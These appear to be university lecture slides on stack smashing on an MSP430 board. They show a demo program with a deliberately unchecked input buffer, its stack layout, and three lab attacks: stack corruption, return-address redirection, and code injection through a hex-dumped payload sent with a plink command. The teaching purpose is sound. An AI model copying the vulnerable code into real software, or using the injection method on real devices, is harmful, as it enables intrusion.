



# **CPE 323**

# **Stack Smashing**

# **(For Fun No Profit)**

## **An Embedded Computer System Example**

Aleksandar Milenkovic

Electrical and Computer Engineering  
The University of Alabama in Huntsville

[milenka@ece.uah.edu](mailto:milenka@ece.uah.edu)

<http://www.ece.uah.edu/~milenka>

# Outline

- Introduction
- Example
  - Code with Vulnerability
  - Code Compilation
  - Memory Layout and Stack
- Attack 1: Corrupting the Stack
- Attack 2: Corrupting the Stack with Redirection
- Attack 3: Corrupting the Stack with Code Injection

# Introduction

- Code with software vulnerability
- Stack buffer overflow
  - Common in C programs, occurs whenever the index of the array exceeds its defined boundary
- Exploits
  - Use vulnerability to divert program execution

# Stack Smashing Demo: User Interface

```
COM6 - PuTTY
    2) Toggle LED 2
    3) Enter user name

Please select option <1, 2, or 3>: 1
*****
Options Menu:
    1) Toggle LED 1
    2) Toggle LED 2
    3) Enter user name

Please select option <1, 2, or 3>: 2
*****
Options Menu:
    1) Toggle LED 1
    2) Toggle LED 2
    3) Enter user name

Please select option <1, 2, or 3>: 3
Enter user name: alex
User name entered: alex

*****
Options Menu:
    1) Toggle LED 1
    2) Toggle LED 2
    3) Enter user name

Please select option <1, 2, or 3>: █
```

# Stack Smashing Demo Code: Header

```
/*
*****
* File: StackSmashing.c
*
* Description:
*   This program is designed to illustrate stack smashing.
*   It prompts the user to enter his/her userID
*   (up to 6 ASCII characters terminated by an <ENTER> key).
*   The subroutine where userID is entered intentionally does not verify
*   whether the number of characters entered exceeds the buffer size,
*   thus creating a buffer overflow vulnerability in the code.
*   This vulnerability can be exploited in several different ways
*   as described in the corresponding tutorial.
*
* Board: MSP430FG461x/F20xx Experimenter Board
*   Connect to workstation using RS232: 57,600 bps, 8-bit, no parity
*   (PuTTY, Plink, MobaXterm, Hyperterminal)
*
*/
```

# Stack Smashing Demo Code: Header

```

* Peripherals: USCI (UART)
* Clocks:      ACLK = 32.768kHz, MCLK = SMCLK = default DCO
*
*              MSP430FG461x
*              -----
*              /|\|
*              |||
*              --|RST
*              |
*              P5.1|--> LED4
*              |
*              |
*              P2.1|--> LED2
*              P2.2|--> LED1
*              P2.4|--> TxD  (UART)
*              P2.5|<-- RxD  (UART)
*              |
*              |
*
* Authors:     Homer Lewter
*              Alex Milenkovich, milenkovic@computer.org
* Date: 10/15/2018
*
*****/

```

# Stack Smashing Demo Code: Header

```

* Peripherals: USCI (UART)
* Clocks:      ACLK = 32.768kHz, MCLK = SMCLK = default DCO
*
*              MSP430FG461x
*              -----
*              /|\|
*              ||  |
*              --|RST
*              |    |
*              |    | P5.1|--> LED4
*              |    |
*              |    |
*              |    | P2.1|--> LED2
*              |    | P2.2|--> LED1
*              |    | P2.4|--> TxD (UART)
*              |    | P2.5|<-- RxD (UART)
*              |    |
*              |    |
*
* Authors:      Homer Lewter
*              Alex Milenkovich, milenkovic@computer.org
* Date: 10/15/2018
*
*****/

```

# Stack Smashing Demo Code: Global Vars

```
#include <msp430xG46x.h>

// Messages to be displayed
char asteriskDivider[] = "\n\n\r*****";
#define asteriskDividerLen 29
char menuMsg[] = "\n\rOptions Menu:\n\r\t1) Toggle LED 1\n\r\t2) Toggle LED
2\n\r\t3) Enter user name\n\r";
#define menuMsgLen 74
char optionSelect[] = "\n\rPlease select option <1, 2, or 3>: ";
#define optionSelectLen 37
char namePrompt[] = "\n\rEnter user name: ";
#define namePromptLen 19
char nameConfirm[] = "\n\rUser name entered: ";
#define nameConfirmLen 21

char currentChar;           // Receives user input from interrupt
```



# Stack Smashing Demo Code: UART Functions

```
// UART Initialization
void UART_Initialize() {
    P2SEL |= BIT4+BIT5;           // Set UC0TXD and UC0RXD to transmit and receive data
    UCA0CTL1 |= BIT0;             // Software reset
    UCA0CTL0 = 0;                 // USCI_A0 control register
    UCA0CTL1 |= UCSSEL_2;        // Clock source SMCLK
    UCA0BR0 = 18;                 // 1048576 Hz / 57,600 lower byte
    UCA0BR1 = 0;                 // Upper byte
    UCA0MCTL = 0x02;             // Modulation
    UCA0CTL1 &= ~BIT0;           // UCSWRST software reset
    IE2 |= UCA0RXIE;            // Enable USCI_A0 RX interrupt
}

// Function to send the elements of a character array to the UART
void sendMessage(char* messageArray, int lengthArray) {
    int idx;

    for(idx=0; idx<lengthArray; idx++) {
        //send one by one using the loop
        while (!(IFG2 & UCA0TXIFG));
        UCA0TXBUF = messageArray[idx];
    }
}
```

# Stack Smashing Demo Code: enterName()

```
void enterName () {
    int nameFinished = 0;           // Flag for end of name
    char nameEntered[6];           // Char array for user input
    int nameElement = 0;           // Current element of name entered

    while (nameFinished == 0){     // Loops until name entry completed
        _BIS_SR(LPM0_bits + GIE); // Enter LPM0 w/ interrupts
        if ((currentChar == 0x1c) || currentChar == '\r' || currentChar == '\n') {
            // If any of these characters are detected, consider name entry completed
            nameFinished = 1;
            sendMessage(nameConfirm, nameConfirmLen);
            sendMessage(nameEntered, nameElement);
        }
        else {
            // Else the entered character is added to the name
            nameEntered[nameElement] = currentChar;
            nameElement++;
        }
    }
}
```

# Stack Smashing Demo Code: main()

```
int main(void) {
    WDTCTL = WDTPW | WDTHOLD;    // Stop watchdog timer
    UART_Initialize();
    P5DIR |= BIT1;               // P5.1 is output
    P2DIR |= (BIT1 | BIT2);      // P2.1 and P2.2 are output
    P2OUT = 0x00;                // Clear output port P2

    volatile unsigned int dummyBuffer[256]; // ensures room for injection on stack

    while(1){
        // Send menu and option prompt
        sendMessage(asteriskDivider, asteriskDividerLen);
        sendMessage(menuMsg, menuMsgLen);
        sendMessage(optionSelect, optionSelectLen);
        _BIS_SR(LPM0_bits + GIE); // Enter LPM0 w/ interrupts

        // Execute option selected by user
        if (currentChar == '1'){
            P2OUT ^= BIT2;        // Toggle P2.2 for LED1
        }
        else if (currentChar == '2'){
            P2OUT ^= BIT1;        // Toggle P2.1 for LED2
        }
        else if (currentChar == '3'){
            sendMessage(namePrompt, namePromptLen);
            enterName();          // Run name entry function
        }
    }
}
```

# Stack Smashing Demo Code: USCI ISR

```
// USCI.RX Interrupt Service Routine
// TI Compiler or IAR interrupt version
#if defined(__TI_COMPILER_VERSION__) || defined(__IAR_SYSTEMS_ICC__)
#pragma vector=USCIAB0RX_VECTOR
__interrupt void USCIA0RX_ISA(void)
// gcc interrupt version
#elif defined(__GNUC__)
void __attribute__((interrupt(USCIAB0RX_VECTOR))) USCIA0RX_ISR (void)
#else
#error Compiler not supported!
#endif
{ // ISR body
  while (!(IFG2&UCA0TXIFG)); // Wait until can transmit
  currentChar = UCA0RXBUF; // Each received char is held for
  UCA0TXBUF = currentChar; // TX -> Rxed character
  P5OUT^=BIT1; // Toggle Led4
  _BIC_SR_IRQ(LPM0_bits); // Clear LPM0 bits from 0(SR)
}
```

# Compilation

The image shows the 'Properties for StackSmashing' dialog box in the TI CCS IDE, divided into several tabs:

- CCS General:**
  - Configuration: Debug\_GNU(2) [ Active ]
  - Device: MSP430
  - Family: MSP430
  - Variant: MSP430F4618
  - Connection: TI MSP430 USB1 [Default]
  - Tool-chain: GNU v7.3.1.24 (Mitto Systems Limited)
  - Output type: Executable
  - Output format: eabi (ELF)
  - Device endianness: little
  - Linker command file: msp430f4618.ld
  - Runtime support library: libc.a
- Runtime:**
  - Configuration: Debug\_GNU(2) [ Active ]
  - Target CPU (-mcpu):
  - Target MCU (-mmcu): msp430
  - Hardware multiply (-mhwmult): 16bit
- Optimization:**
  - Configuration: Debug\_GNU(2) [ Active ]
  - Optimization Level: None (-O0)
  - Make 'char' unsigned by default (-funsigned-char)
  - Place each function into its own section (-ffunction-sections)
  - Place data items into their own section (-fdata-sections)
  - Convert floating point constants to single precision constants (-fsingle-precision-constant)
- Miscellaneous:**
  - Override built-in specs with the contents of the specified file (-specs)
  - Read options from specified file (-E)
  - Miscellaneous C source specific flags
  - Miscellaneous C++ source specific flags
  - Miscellaneous assembly source specific flags: `x assembler-with-cpp`
  - Miscellaneous flags: `-msmall -mcode-region=none -mdata-region=none -Wl,-adhln=StackSmashing.asm`

# Stack Smashing Demo Code: main()

```
82:../StackSmashing.c **** void enterName(){
141             .loc 1 82 0
142             ; start of function
143             ; framesize_regs:      0
144             ; framesize_locals:    10
145             ; framesize_outgoing:  0
146             ; framesize:           10
147             ; elim ap -> fp        2
148             ; elim fp -> sp        10
149             ; saved regs:(none)
150             ; start of prologue
151 00a0 3180 0A00             SUB.W      #10, R1
152             .LCFI1:
153             ; end of prologue
83:../StackSmashing.c ****      int nameFinished = 0;           // Flag for end
of name
154             .loc 1 83 0
155 00a4 8143 0800             MOV.W      #0, 8(R1)
84:../StackSmashing.c ****      char nameEntered[6];           // Char array for
user input
85:../StackSmashing.c ****      int nameElement = 0;           // Current
element of name entered
156             .loc 1 85 0
157 00a8 8143 0600             MOV.W      #0, 6(R1)
86:../StackSmashing.c ****
```

# MSP430FG4618 Address Map

Address Space		Size	Address Range
Flash	Total	116 KiB	0x03100 – 0x1FFFF
	Interrupt Vector Table	64 B	0x0FFC0 – 0x0FFFF
	Code Memory	116 KiB	0x03100 – 0x1FFFF
RAM	Total	8 KiB	0x01100 – 0x030FF
	Extended	6 KiB	0x01900 – 0x030FF
	Mirrored	2 KiB	0x01100 – 0x018FF
Information Memory (Flash)		256 B	0x01000 – 0x010FF
Boot Memory (ROM)		1 KiB	0x00C00 – 0x00FFF
RAM Memory (mirrored)		2 KiB	0x00200 – 0x009FF
Peripherals	16 bit	256 B	0x00100 – 0x001FF
	8 bit	240 B	0x00010 – 0x000FF
	8-bit SFRs	16 B	0x00000 – 0x0000F

# Stack

Address Range	Size	Data (variables)	Comment
0x030FEh	2 B	Filled by start-up code	0x31F6
0x02EFE - 0x030FC	512 B	uint dummyBuffer[256]	Storage for dummyBuffer (space for injection)
002EFC	2 B	Return Address	Return address pushed when calling enterName
0x02EFA	2 B	int nameFinished	Local variable / flag to detect end
0x02EF8h	2 B	int nameElement	Local variable / index in the nameEntered
0x02EF2 – 0x02EF6	6 B	char nameEntered[6]	Local array to hold username entered



# Corrupting the Stack

```
*****
```

```
Options Menu:
```

- 1) Toggle LED 1
- 2) Toggle LED 2
- 3) Enter user name

```
Please select option <1, 2, or 3>: 3
```

```
Enter user name: Roberto
```

```
User name entered: Robertp49 <~/) )43ttD
```

```
E TLe$bK
```

```
l ;
```

```
@a@62A*"',KD&pPTJZ!
```

```
*****
```

```
Options Menu:
```

- 1) Toggle LED 1
- 2) Toggle LED 2
- 3) Enter user name

```
Please select option <1, 2, or 3>: P
```

```
uTTY
```

```
****PuTTY*****
```

```
Options Menu:
```

- 1) Toggle LED 1
- 2) Toggle LED 2
- 3) Enter user name

```
Please select option <1, 2, or 3>:
```

# What Happened?

- Where the 7<sup>th</sup> character go?

# Corrupting the Stack with Redirection

- 7<sup>th</sup> char: `ascii('\t') = 9; => nameElement=___?`
- Where does 8<sup>th</sup> and 9<sup>th</sup> chars go?
- What are implications?
- `ascii('V') = 0x56; ascii('4')=0x34 => 0x3456 (what is this?)`

Address Range	Size	Data (variables)	Original Value	New Value
0x030FEh	2 B	-	0x31F6	0x31F6
0x02EFE - 0x030FC	512 B	uint dummyBuffer[256]	-	-
002EFC	2 B	Return Address	0x349E	0x3456
0x02EFA	2 B	int nameFinished	1	1
0x02EF8h	2 B	int nameElement	6	12
0x02EF2 – 0x02EF6	6 B	char nameEntered[6]	'123456'	'123456\tV4'

# Implications

- While this diversion may seem inconsequential for this program, there are ample opportunities that other pieces of software could fall prey to from this type of attack
- Imagine if option 1 from the menu had been a password protected function and one could access the unprotected public option 3 and thereby gain access to option 1's function bypassing the authentication step
- The pitfalls of improper bounds checking becomes more apparent

# Code Injection

- Last example of stack smashing lets us inject our own code into the program for execution
- The basic idea is to enter values that could be interpreted as instructions if the return address is changed to point back to the values we previously entered instead of being redirected to already existing code
- Sounds simple, but staging this attack requires technical expertise

# Code Injection Challenges

- First, the code that we wish to inject may have values that are not found in the ASCII table (extended or otherwise)
  - Do not use putty, but rather plink (part of putty suite) for non-interactive use; allows us to send the username from a file
- Second, there needs to be enough room available for the injected code on the stack
  - The dummyBuffer in the main program is solving this problem
- Injected code
  - BuzzerCodeGNU.bin is 64-bytes of code;

# BuzzerCodeGNU.bin

- First 6 bytes: any chars (name)
- NameElement offset=9 => redirecting following chars to the place where we have the return address
- 0x2f16 is the return address, will point to the injected code (circled in green)

Address	0	1	2	3	4	5	6	7	8	9	a	b	c	d	e	f	Dump
00000000	53	6d	61	73	68	21	09	16	2f	10	00	00	00	54	69	6e	Smash!.../....Tin
00000010	6e	69	74	75	73	20	69	73	20	6e	6f	20	6a	6f	6b	65	nitus is no joke
00000020	00	5c	42	1a	00	7c	d0	20	00	3c	f0	ff	00	c2	4c	1a	.\B.. Đ .<öÿ.ÂL.
00000030	00	5c	42	1b	00	7c	d0	20	00	3c	f0	ff	00	c2	4c	1b	.\B.. Đ .<öÿ.ÂL.
00000040	00	b2	40	80	00	8a	01	b2	40	10	02	80	01	b2	40	88	.²@€..š.²@...€..²@^
00000050	01	92	01	7d	40	13	00	36	40	01	2f	78	40	00	00	03	.' }@..6@./x@...
00000060	43	57	42	03	00	67	f3	07	93	fb	27	16	53	e2	46	67	CWB..gó."û'.SâFg
00000070	00	18	53	08	9d	f4	3b	30	40	6c	2f	1c					..S..ô;0@1/.

# Injected Buzzer Code

```

enableBuzzer():
003372: 425C 001A      MOV.B   &Port_3_4_P3DIR,R12
003376: D07C 0020      BIS.B   #0x0020,R12
00337a: F03C 00FF      AND.W   #0x00ff,R12
00337e: 4CC2 001A      MOV.B   R12,&Port_3_4_P3DIR
 96          P3SEL |= 0x20;           // P3 BIT 5 set to TB4
003382: 425C 001B      MOV.B   &Port_3_4_P3SEL,R12
003386: D07C 0020      BIS.B   #0x0020,R12
00338a: F03C 00FF      AND.W   #0x00ff,R12
00338e: 4CC2 001B      MOV.B   R12,&Port_3_4_P3SEL
 98          TB0CCTL4 = OUTMOD_4;           // Enable TB4 output to toggle mode
003392: 40B2 0080 018A  MOV.W   #0x0080,&Timer_B7_TBCCTL4
 99          TB0CTL = TBSSEL_2 + MC_1;           // Select SMCLK (1MHz) and up mode
003398: 40B2 0210 0180  MOV.W   #0x0210,&Timer_B7_TBCTL
100         TB0CCR0 = 392;           //setting the value to play NoteG
00339e: 40B2 0188 0192  MOV.W   #0x0188,&Timer_B7_TBCCR0
101     }
0033a4: 4303          NOP
0033a6: 4130          RET
105     {

```



# BuzzerCodeGNU.bin

- Blue: the injected code that prints a message after executing the injected code “Tinitus is no joke”
- Red: points to itself (infinite loop)
- 0x1C – file separator triggering the end of enterName function

Address	0	1	2	3	4	5	6	7	8	9	a	b	c	d	e	f	Dump
00000000	53	6d	61	73	68	21	09	16	2f	10	00	00	00	54	69	6e	Smash!.../....Tin
00000010	6e	69	74	75	73	20	69	73	20	6e	6f	20	6a	6f	6b	65	nitus is no joke
00000020	00	5c	42	1a	00	7c	d0	20	00	3c	f0	ff	00	c2	4c	1a	.\B.. Ð .<öÿ.ÂL.
00000030	00	5c	42	1b	00	7c	d0	20	00	3c	f0	ff	00	c2	4c	1b	.\B.. Ð .<öÿ.ÂL.
00000040	00	b2	40	80	00	8a	01	b2	40	10	02	80	01	b2	40	88	.²@€..š.²@...€.²@^
00000050	01	92	01	7d	40	13	00	36	40	01	2f	78	40	00	00	03	.' }@..6@./x@...
00000060	43	57	42	03	00	67	f3	07	93	fb	27	16	53	e2	46	67	CWB..gó."û'.SâFg
00000070	00	18	53	08	9d	f4	3b	30	40	6c	2f	1c					..S..ô;0@1/.

# Injected Code for Displaying Attacker's Message

```
Disassembly 0x2f48
```

002f48:	407D 0013	MOV.B	#0x0013,R13
002f4c:	4036 2F01	MOV.W	#0x2f01,R6
002f50:	4078 0000	MOV.B	#0x0000,R8
002f54:	4303	NOP	
002f56:	4257 0003	MOV.B	&Special_Function_IFG2,R7
002f5a:	F367	AND.B	#2,R7
002f5c:	9307	TST.W	R7
002f5e:	27FB	JEQ	(0x2f56)
002f60:	5316	INC.W	R6
002f62:	46E2 0067	MOV.B	@R6,&USCI_A0__UART_Mode_UCA0TXBUF
002f66:	5318	INC.W	R8
002f68:	9D08	CMP.W	R13,R8
002f6a:	3BF4	JL	(0x2f54)
002f6c:	4030 2F6C	BR	#0x2f6c

# Deploying the Attack

- Run the StackSmashing program and select option 3 to enter a username
- Instead of entering anything, close the terminal program so that the serial connection is not in use
- Open a command prompt and navigate to the directory that contains *plink* and the BuzzerCode.bin file

```
> plink -serial COM6 -sercfg 57600,8,1,n,N < BuzzerCodeGNU.bin
Smash! /Tinnitus is no joke \B|␣ <≡ τL\B|␣ <≡ τL █@Ç è█@Ç█@êÆ}@6@/x@
CWB g≤ô√'SIFg ¥|;0@1/
User name entered: Smash!~ /Tinnitus is no joke \B|␣ <≡ τL\B|␣ <≡ τL
█@Ç è█@Ç█@êÆ}@6@/x@ CWB g≤ô√'SIFg ¥|;0@1/Tinnitus is no joke
```

# Conclusions

- Impact of software vulnerabilities
- Three types of exploits
  - Stack smashing
  - Stack smashing with code redirection
  - Stack smashing with code injection